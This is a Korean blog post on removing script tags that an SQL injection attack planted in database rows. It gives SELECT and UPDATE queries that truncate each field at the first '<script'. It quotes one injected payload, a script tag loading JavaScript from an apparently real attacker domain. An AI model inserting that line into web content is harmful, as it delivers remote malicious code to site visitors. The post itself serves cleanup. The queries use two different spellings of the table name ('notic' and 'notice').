본문 바로가기

컴퓨터 엔지니어/DATABASE

SQL Injection 공격시 나타나는 스크립트 삭제하기...

SQL Injection 공격시 DB 테이블에 스크립트를 쫙~ 집어 넣는 경우가 요즘은 대부분입니다.

공격당한 웹 사이트를 클라이언트가 접속시 자동 해당 스크립트가 실행되어, 공격자가 넣어놓은 js 스크립트가 실행되게 하는 방식입니다.


대부분 이런식이지요
<script src=<script src=http://www.fengnima.cn/k.js></script>                                     


만약 DB 의 백업 본이 있다면 복원하면 되겠지만, 백업 본 역시 스크립트가 삽입된 DB 라면 이거 난감 합니다.
해서 쿼리문을 만들어 노가다로 돌리는 수밖에요..

다음 쿼리문을 사용 합니다.
먼저 Select 문을 이용해서 해당 테이블에 <script 가 얼마나 들어 있는지 확인 한 다음에 update 하는 식으로 하는것이 좋습니다.

DB명 : duck
테이블명 : dbo.notic
열 이름 : content

select substring(content,1,charindex('<script',content)-1) from  dbo.notic where content like '%<script%'


 


DB명 : duck
테이블명 : dbo.notic
열 이름 : content

update dbo.notice set content = substring(content,1,charindex('<script',content)-1)  where content like '%<script%'
위 쿼리문은 <script 가 들어있는 문장부터 모두 지운다는 그런 내용입니다.